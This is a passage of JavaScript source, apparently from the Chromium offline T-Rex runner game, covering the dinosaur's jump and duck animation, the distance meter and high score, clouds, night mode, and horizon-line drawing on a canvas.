Trex.config.MIN_JUMP_HEIGHT *= 1.5;
Trex.config.MAX_JUMP_HEIGHT *= 1.5;
Trex.config.INITIAL_JUMP_VELOCITY =
Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
}
},
/**
* Setter whether dino is flashing.
* @param {boolean} status
*/
setFlashing: function(status) {
this.flashing = status;
},
/**
* Setter for the jump velocity.
* The approriate drop velocity is also set.
* @param {number} setting
*/
setJumpVelocity(setting) {
this.config.INITIAL_JUMP_VELOCITY = -setting;
this.config.DROP_VELOCITY = -setting / 2;
},
/**
* Set the animation status.
* @param {!number} deltaTime
* @param {Trex.status=} opt_status Optional status to switch to.
*/
update(deltaTime, opt_status) {
this.timer += deltaTime;
// Update the status.
if (opt_status) {
this.status = opt_status;
this.currentFrame = 0;
this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
this.currentAnimFrames = Trex.animFrames[opt_status].frames;
if (opt_status === Trex.status.WAITING) {
this.animStartTime = getTimeStamp();
this.setBlinkDelay();
}
}
// Game intro animation, T-rex moves in from the left.
if (this.playingIntro && this.xPos < this.config.START_X_POS) {
this.xPos += Math.round((this.config.START_X_POS /
this.config.INTRO_DURATION) * deltaTime);
this.xInitialPos = this.xPos;
}
if (this.status === Trex.status.WAITING) {
this.blink(getTimeStamp());
} else {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
}
// Update the frame position.
if (!this.flashing && this.timer >= this.msPerFrame) {
this.currentFrame = this.currentFrame ==
this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
this.timer = 0;
}
if (!this.altGameModeEnabled) {
// Speed drop becomes duck if the down key is still being pressed.
if (this.speedDrop && this.yPos === this.groundYPos) {
this.speedDrop = false;
this.setDuck(true);
}
}
},
/**
* Draw the t-rex to a particular position.
* @param {number} x
* @param {number} y
*/
draw(x, y) {
let sourceX = x;
let sourceY = y;
let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
this.config.WIDTH_DUCK :
this.config.WIDTH;
let sourceHeight = this.config.HEIGHT;
const outputHeight = sourceHeight;
let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;
// Width of sprite changes on jump.
if (this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
sourceWidth = this.config.WIDTH_JUMP;
}
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
sourceWidth *= 2;
sourceHeight *= 2;
jumpOffset *= 2;
}
// Adjustments for sprite sheet position.
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
// Flashing.
if (this.flashing) {
if (this.timer < this.config.FLASH_ON) {
this.canvasCtx.globalAlpha = 0.5;
} else if (this.timer > this.config.FLASH_OFF) {
this.timer = 0;
}
}
// Ducking.
if (!this.altGameModeEnabled && this.ducking &&
this.status !== Trex.status.CRASHED) {
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH_DUCK, outputHeight);
} else if (
this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
// Jumping with adjustments.
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
outputHeight);
} else {
// Crashed whilst ducking. Trex is standing up so needs adjustment.
if (this.ducking && this.status === Trex.status.CRASHED) {
this.xPos++;
}
// Standing / running
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH, outputHeight);
}
this.canvasCtx.globalAlpha = 1;
},
/**
* Sets a random time for the blink to happen.
*/
setBlinkDelay() {
this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
},
/**
* Make t-rex blink at random intervals.
* @param {number} time Current time in milliseconds.
*/
blink(time) {
const deltaTime = time - this.animStartTime;
if (deltaTime >= this.blinkDelay) {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
if (this.currentFrame === 1) {
// Set new random delay to blink.
this.setBlinkDelay();
this.animStartTime = time;
this.blinkCount++;
}
}
},
/**
* Initialise a jump.
* @param {number} speed
*/
startJump(speed) {
if (!this.jumping) {
this.update(0, Trex.status.JUMPING);
// Tweak the jump velocity based on the speed.
this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
this.jumping = true;
this.reachedMinHeight = false;
this.speedDrop = false;
if (this.config.INVERT_JUMP) {
this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
}
}
},
/**
* Jump is complete, falling down.
*/
endJump() {
if (this.reachedMinHeight &&
this.jumpVelocity < this.config.DROP_VELOCITY) {
this.jumpVelocity = this.config.DROP_VELOCITY;
}
},
/**
* Update frame for a jump.
* @param {number} deltaTime
*/
updateJump(deltaTime) {
const msPerFrame = Trex.animFrames[this.status].msPerFrame;
const framesElapsed = deltaTime / msPerFrame;
// Speed drop makes Trex fall faster.
if (this.speedDrop) {
this.yPos += Math.round(this.jumpVelocity *
this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
} else if (this.config.INVERT_JUMP) {
this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
} else {
this.yPos += Math.round(this.jumpVelocity * framesElapsed);
}
this.jumpVelocity += this.config.GRAVITY * framesElapsed;
// Minimum height has been reached.
if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
!this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
this.speedDrop) {
this.reachedMinHeight = true;
}
// Reached max height.
if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
!this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
this.speedDrop) {
this.endJump();
}
// Back down at ground level. Jump completed.
if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
(!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
this.reset();
this.jumpCount++;
if (Runner.audioCues) {
Runner.generatedSoundFx.loopFootSteps();
}
}
},
/**
* Set the speed drop. Immediately cancels the current jump.
*/
setSpeedDrop() {
this.speedDrop = true;
this.jumpVelocity = 1;
},
/**
* @param {boolean} isDucking
*/
setDuck(isDucking) {
if (isDucking && this.status !== Trex.status.DUCKING) {
this.update(0, Trex.status.DUCKING);
this.ducking = true;
} else if (this.status === Trex.status.DUCKING) {
this.update(0, Trex.status.RUNNING);
this.ducking = false;
}
},
/**
* Reset the t-rex to running at start of game.
*/
reset() {
this.xPos = this.xInitialPos;
this.yPos = this.groundYPos;
this.jumpVelocity = 0;
this.jumping = false;
this.ducking = false;
this.update(0, Trex.status.RUNNING);
this.midair = false;
this.speedDrop = false;
this.jumpCount = 0;
},
};
//******************************************************************************
/**
* Handles displaying the distance meter.
* @param {!HTMLCanvasElement} canvas
* @param {Object} spritePos Image position in sprite.
* @param {number} canvasWidth
* @constructor
*/
function DistanceMeter(canvas, spritePos, canvasWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.image = Runner.imageSprite;
this.spritePos = spritePos;
this.x = 0;
this.y = 5;
this.currentDistance = 0;
this.maxScore = 0;
this.highScore = '0';
this.container = null;
this.digits = [];
this.achievement = false;
this.defaultString = '';
this.flashTimer = 0;
this.flashIterations = 0;
this.invertTrigger = false;
this.flashingRafId = null;
this.highScoreBounds = {};
this.highScoreFlashing = false;
this.config = DistanceMeter.config;
this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
this.canvasWidth = canvasWidth;
this.init(canvasWidth);
}
/**
* @enum {number}
*/
DistanceMeter.dimensions = {
WIDTH: 10,
HEIGHT: 13,
DEST_WIDTH: 11,
};
/**
* Y positioning of the digits in the sprite sheet.
* X position is always 0.
* @type {Array<number>}
*/
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];
/**
* Distance meter config.
* @enum {number}
*/
DistanceMeter.config = {
// Number of digits.
MAX_DISTANCE_UNITS: 5,
// Distance that causes achievement animation.
ACHIEVEMENT_DISTANCE: 100,
// Used for conversion from pixel distance to a scaled unit.
COEFFICIENT: 0.025,
// Flash duration in milliseconds.
FLASH_DURATION: 1000 / 4,
// Flash iterations for achievement animation.
FLASH_ITERATIONS: 3,
// Padding around the high score hit area.
HIGH_SCORE_HIT_AREA_PADDING: 4,
};
DistanceMeter.prototype = {
/**
* Initialise the distance meter to '00000'.
* @param {number} width Canvas width in px.
*/
init(width) {
let maxDistanceStr = '';
this.calcXPos(width);
this.maxScore = this.maxScoreUnits;
for (let i = 0; i < this.maxScoreUnits; i++) {
this.draw(i, 0);
this.defaultString += '0';
maxDistanceStr += '9';
}
this.maxScore = parseInt(maxDistanceStr, 10);
},
/**
* Calculate the xPos in the canvas.
* @param {number} canvasWidth
*/
calcXPos(canvasWidth) {
this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
(this.maxScoreUnits + 1));
},
/**
* Draw a digit to canvas.
* @param {number} digitPos Position of the digit.
* @param {number} value Digit value 0-9.
* @param {boolean=} opt_highScore Whether drawing the high score.
*/
draw(digitPos, value, opt_highScore) {
let sourceWidth = DistanceMeter.dimensions.WIDTH;
let sourceHeight = DistanceMeter.dimensions.HEIGHT;
let sourceX = DistanceMeter.dimensions.WIDTH * value;
let sourceY = 0;
const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
const targetY = this.y;
const targetWidth = DistanceMeter.dimensions.WIDTH;
const targetHeight = DistanceMeter.dimensions.HEIGHT;
// For high DPI we 2x source values.
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
this.canvasCtx.save();
if (IS_RTL) {
if (opt_highScore) {
this.canvasCtx.translate(
this.canvasWidth -
(DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
this.y);
} else {
this.canvasCtx.translate(
this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
}
this.canvasCtx.scale(-1, 1);
} else {
const highScoreX =
this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
if (opt_highScore) {
this.canvasCtx.translate(highScoreX, this.y);
} else {
this.canvasCtx.translate(this.x, this.y);
}
}
this.canvasCtx.drawImage(
this.image,
sourceX,
sourceY,
sourceWidth,
sourceHeight,
targetX,
targetY,
targetWidth,
targetHeight,
);
this.canvasCtx.restore();
},
/**
* Covert pixel distance to a 'real' distance.
* @param {number} distance Pixel distance ran.
* @return {number} The 'real' distance ran.
*/
getActualDistance(distance) {
return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
},
/**
* Update the distance meter.
* @param {number} distance
* @param {number} deltaTime
* @return {boolean} Whether the acheivement sound fx should be played.
*/
update(deltaTime, distance) {
let paint = true;
let playSound = false;
if (!this.achievement) {
distance = this.getActualDistance(distance);
// Score has gone beyond the initial digit count.
if (distance > this.maxScore && this.maxScoreUnits ==
this.config.MAX_DISTANCE_UNITS) {
this.maxScoreUnits++;
this.maxScore = parseInt(this.maxScore + '9', 10);
} else {
this.distance = 0;
}
if (distance > 0) {
// Achievement unlocked.
if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
// Flash score and play sound.
this.achievement = true;
this.flashTimer = 0;
playSound = true;
}
// Create a string representation of the distance with leading 0.
const distanceStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.digits = distanceStr.split('');
} else {
this.digits = this.defaultString.split('');
}
} else {
// Control flashing of the score on reaching acheivement.
if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
} else {
this.achievement = false;
this.flashIterations = 0;
this.flashTimer = 0;
}
}
// Draw the digits if not flashing.
if (paint) {
for (let i = this.digits.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.digits[i], 10));
}
}
this.drawHighScore();
return playSound;
},
/**
* Draw the high score.
*/
drawHighScore() {
if (parseInt(this.highScore, 10) > 0) {
this.canvasCtx.save();
this.canvasCtx.globalAlpha = .8;
for (let i = this.highScore.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.highScore[i], 10), true);
}
this.canvasCtx.restore();
}
},
/**
* Set the highscore as a array string.
* Position of char in the sprite: H - 10, I - 11.
* @param {number} distance Distance ran in pixels.
*/
setHighScore(distance) {
distance = this.getActualDistance(distance);
const highScoreStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
},
/**
* Whether a clicked is in the high score area.
* @param {Event} e Event object.
* @return {boolean} Whether the click was in the high score bounds.
*/
hasClickedOnHighScore(e) {
let x = 0;
let y = 0;
if (e.touches) {
// Bounds for touch differ from pointer.
const canvasBounds = this.canvas.getBoundingClientRect();
x = e.touches[0].clientX - canvasBounds.left;
y = e.touches[0].clientY - canvasBounds.top;
} else {
x = e.offsetX;
y = e.offsetY;
}
this.highScoreBounds = this.getHighScoreBounds();
return x >= this.highScoreBounds.x && x <=
this.highScoreBounds.x + this.highScoreBounds.width &&
y >= this.highScoreBounds.y && y <=
this.highScoreBounds.y + this.highScoreBounds.height;
},
/**
* Get the bounding box for the high score.
* @return {Object} Object with x, y, width and height properties.
*/
getHighScoreBounds() {
return {
x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
y: this.y,
width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
height: DistanceMeter.dimensions.HEIGHT +
(DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
};
},
/**
* Animate flashing the high score to indicate ready for resetting.
* The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
*/
flashHighScore() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
let paint = true;
this.frameTimeStamp = now;
// Reached the max number of flashes.
if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
this.cancelHighScoreFlashing();
return;
}
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
if (paint) {
this.drawHighScore();
} else {
this.clearHighScoreBounds();
}
// Frame update.
this.flashingRafId =
requestAnimationFrame(this.flashHighScore.bind(this));
},
/**
* Draw empty rectangle over high score.
*/
clearHighScoreBounds() {
this.canvasCtx.save();
this.canvasCtx.fillStyle = '#fff';
this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
this.highScoreBounds.width, this.highScoreBounds.height);
this.canvasCtx.fill();
this.canvasCtx.restore();
},
/**
* Starts the flashing of the high score.
*/
startHighScoreFlashing() {
this.highScoreFlashing = true;
this.flashHighScore();
},
/**
* Whether high score is flashing.
* @return {boolean}
*/
isHighScoreFlashing() {
return this.highScoreFlashing;
},
/**
* Stop flashing the high score.
*/
cancelHighScoreFlashing() {
if (this.flashingRafId) {
cancelAnimationFrame(this.flashingRafId);
}
this.flashIterations = 0;
this.flashTimer = 0;
this.highScoreFlashing = false;
this.clearHighScoreBounds();
this.drawHighScore();
},
/**
* Clear the high score.
*/
resetHighScore() {
this.setHighScore(0);
this.cancelHighScoreFlashing();
},
/**
* Reset the distance meter back to '00000'.
*/
reset() {
this.update(0, 0);
this.achievement = false;
},
};
//******************************************************************************
/**
* Cloud background item.
* Similar to an obstacle object but without collision boxes.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @constructor
*/
function Cloud(canvas, spritePos, containerWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.gap =
getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);
this.init();
}
/**
* Cloud object config.
* @enum {number}
*/
Cloud.config = {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
WIDTH: 46,
};
Cloud.prototype = {
/**
* Initialise the cloud. Sets the Cloud height.
*/
init() {
this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
Cloud.config.MIN_SKY_LEVEL);
this.draw();
},
/**
* Draw the cloud.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = Cloud.config.WIDTH;
let sourceHeight = Cloud.config.HEIGHT;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
this.spritePos.y,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the cloud position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
this.xPos -= Math.ceil(speed);
this.draw();
// Mark as removeable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the cloud is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + Cloud.config.WIDTH > 0;
},
};
/**
* Background item.
* Similar to cloud, without random y position.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @param {string} type Element type.
* @constructor
*/
function BackgroundEl(canvas, spritePos, containerWidth, type) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.type = type;
this.gap =
getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
this.animTimer = 0;
this.switchFrames = false;
this.spriteConfig = {};
this.init();
}
/**
* Background element object config.
* Real values assigned when game type changes.
* @enum {number}
*/
BackgroundEl.config = {
MAX_BG_ELS: 0,
MAX_GAP: 0,
MIN_GAP: 0,
POS: 0,
SPEED: 0,
Y_POS: 0,
MS_PER_FRAME: 0, // only needed when BACKGROUND_EL.FIXED is true
};
BackgroundEl.prototype = {
/**
* Initialise the element setting the y position.
*/
init() {
this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
if (this.spriteConfig.FIXED) {
this.xPos = this.spriteConfig.FIXED_X_POS;
}
this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
this.spriteConfig.OFFSET;
this.draw();
},
/**
* Draw the element.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = this.spriteConfig.WIDTH;
let sourceHeight = this.spriteConfig.HEIGHT;
let sourceX = this.spriteConfig.X_POS;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the background element position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
if (this.spriteConfig.FIXED) {
this.animTimer += speed;
if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
this.animTimer = 0;
this.switchFrames = !this.switchFrames;
}
if (this.spriteConfig.FIXED_Y_POS_1 &&
this.spriteConfig.FIXED_Y_POS_2) {
this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
this.spriteConfig.FIXED_Y_POS_2;
}
} else {
// Fixed speed, regardless of actual game speed.
this.xPos -= BackgroundEl.config.SPEED;
}
this.draw();
// Mark as removable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the element is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + this.spriteConfig.WIDTH > 0;
},
};
//******************************************************************************
/**
* Nightmode shows a moon and stars on the horizon.
* @param {HTMLCanvasElement} canvas
* @param {number} spritePos
* @param {number} containerWidth
* @constructor
*/
function NightMode(canvas, spritePos, containerWidth) {
this.spritePos = spritePos;
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.xPos = containerWidth - 50;
this.yPos = 30;
this.currentPhase = 0;
this.opacity = 0;
this.containerWidth = containerWidth;
this.stars = [];
this.drawStars = false;
this.placeStars();
}
/**
* @enum {number}
*/
NightMode.config = {
FADE_SPEED: 0.035,
HEIGHT: 40,
MOON_SPEED: 0.25,
NUM_STARS: 2,
STAR_SIZE: 9,
STAR_SPEED: 0.3,
STAR_MAX_Y: 70,
WIDTH: 20,
};
NightMode.phases = [140, 120, 100, 60, 40, 20, 0];
NightMode.prototype = {
/**
* Update moving moon, changing phases.
* @param {boolean} activated Whether night mode is activated.
*/
update(activated) {
// Moon phase.
if (activated && this.opacity === 0) {
this.currentPhase++;
if (this.currentPhase >= NightMode.phases.length) {
this.currentPhase = 0;
}
}
// Fade in / out.
if (activated && (this.opacity < 1 || this.opacity === 0)) {
this.opacity += NightMode.config.FADE_SPEED;
} else if (this.opacity > 0) {
this.opacity -= NightMode.config.FADE_SPEED;
}
// Set moon positioning.
if (this.opacity > 0) {
this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);
// Update stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i].x =
this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
}
}
this.draw();
} else {
this.opacity = 0;
this.placeStars();
}
this.drawStars = true;
},
updateXPos(currentPos, speed) {
if (currentPos < -NightMode.config.WIDTH) {
currentPos = this.containerWidth;
} else {
currentPos -= speed;
}
return currentPos;
},
draw() {
let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
NightMode.config.WIDTH;
let moonSourceHeight = NightMode.config.HEIGHT;
let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
const moonOutputWidth = moonSourceWidth;
let starSize = NightMode.config.STAR_SIZE;
let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;
if (IS_HIDPI) {
moonSourceWidth *= 2;
moonSourceHeight *= 2;
moonSourceX = this.spritePos.x +
(NightMode.phases[this.currentPhase] * 2);
starSize *= 2;
starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
}
this.canvasCtx.save();
this.canvasCtx.globalAlpha = this.opacity;
// Stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.canvasCtx.drawImage(
Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
}
}
// Moon.
this.canvasCtx.drawImage(
Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
NightMode.config.HEIGHT);
this.canvasCtx.globalAlpha = 1;
this.canvasCtx.restore();
},
// Do star placement.
placeStars() {
const segmentSize = Math.round(this.containerWidth /
NightMode.config.NUM_STARS);
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i] = {};
this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);
if (IS_HIDPI) {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.HDPI.STAR.y +
NightMode.config.STAR_SIZE * 2 * i;
} else {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.LDPI.STAR.y +
NightMode.config.STAR_SIZE * i;
}
}
},
reset() {
this.currentPhase = 0;
this.opacity = 0;
this.update(false);
},
};
//******************************************************************************
/**
* Horizon Line.
* Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
* @param {HTMLCanvasElement} canvas
* @param {Object} lineConfig Configuration object.
* @constructor
*/
function HorizonLine(canvas, lineConfig) {
let sourceX = lineConfig.SOURCE_X;
let sourceY = lineConfig.SOURCE_Y;
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
}
this.spritePos = {x: sourceX, y: sourceY};
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.sourceDimensions = {};
this.dimensions = lineConfig;
this.sourceXPos = [this.spritePos.x, this.spritePos.x +
this.dimensions.WIDTH];
this.xPos = [];
this.yPos = 0;
this.bumpThreshold = 0.5;
this.setSourceDimensions(lineConfig);
this.draw();
}
/**
* Horizon line dimensions.
* @enum {number}
*/
HorizonLine.dimensions = {
WIDTH: 600,
HEIGHT: 12,
YPOS: 127,
};
HorizonLine.prototype = {
/**
* Set the source dimensions of the horizon line.
*/
setSourceDimensions(newDimensions) {
for (const dimension in newDimensions) {
if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
if (IS_HIDPI) {
if (dimension !== 'YPOS') {
this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
}
} else {
this.sourceDimensions[dimension] = newDimensions[dimension];
}
this.dimensions[dimension] = newDimensions[dimension];
}
}
this.xPos = [0, newDimensions.WIDTH];
this.yPos = newDimensions.YPOS;
},
/**
* Return the crop x position of a type.
*/
getRandomType() {
return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
},
/**
* Draw the horizon line.
*/
draw() {
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[0], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[1], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
},
/**
* Update the x position of an indivdual piece of the line.
* @param {number} pos Line position.
* @param {number} increment
*/
updateXPos(pos, increment) {
const line1 = pos;
const line2 = pos === 0 ? 1 : 0;
this.xPos[line1] -= increment;
this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;
if (this.xPos[line1] <= -this.dimensions.WIDTH) {
this.xPos[line1] += this.dimensions.WIDTH * 2;
this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
}
},
/**
* Update the horizon line.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
const increment = Math.floor(speed * (FPS / 1000) * deltaTime);
if (this.xPos[0] <= 0) {
this.updateXPos(0, increment);
} else {
this.updateXPos(1, increment);
}
this.draw();
},
/**
* Reset horizon to the starting position.
*/
reset() {
this.xPos[0] = 0;
this.xPos[1] = this.dimensions.WIDTH;
},
};
//******************************************************************************
/**
* Horizon background class.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Sprite positioning.
* @param {Object} dimensions Canvas dimensions.
* @param {number} gapCoefficient
* @constructor
*/
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.config = Horizon.config;
this.dimensions = dimensions;
this.gapCoefficient = gapCoefficient;
this.obstacles = [];
this.obstacleHistory = [];
this.horizonOffsets = [0, 0];
this.cloudFrequency = this.config.CLOUD_FREQUENCY;
this.spritePos = spritePos;
this.nightMode = null;
this.altGameModeActive = false;
// Cloud
this.clouds = [];
this.cloudSpeed = this.config.BG_CLOUD_SPEED;
// Background elements
this.backgroundEls = [];
this.lastEl = null;
this.backgroundSpeed = this.config.BG_CLOUD_SPEED;
// Horizon
this.horizonLine = null;
this.horizonLines = [];
this.init();
}
/**
* Horizon config.
* @enum {number}
*/
Horizon.config = {
BG_CLOUD_SPEED: 0.2,
BUMPY_THRESHOLD: .3,
CLOUD_FREQUENCY: .5,
HORIZON_HEIGHT: 16,
MAX_CLOUDS: 6,
};
Horizon.prototype = {
/**
* Initialise the horizon. Just add the line and a cloud. No obstacles.
*/
init() {
Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
this.addCloud();
// Multiple Horizon lines
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
this.dimensions.WIDTH);
},
/**
* Update obstacle definitions based on the speed of the game.
*/
adjustObstacleSpeed: function() {
for (let i = 0; i < Obstacle.types.length; i++) {
if (Runner.slowDown) {
Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
Obstacle.types[i].minGap *= 1.5;
Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;
// Convert variable y position obstacles to fixed.
if (typeof (Obstacle.types[i].yPos) == 'object') {
Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
}
}
}
},
/**
* Update sprites to correspond to change in sprite sheet.
* @param {number} spritePos
*/
enableAltGameMode: function(spritePos) {
// Clear existing horizon objects.
this.clouds = [];
this.backgroundEls = [];
this.altGameModeActive = true;
this.spritePos = spritePos;
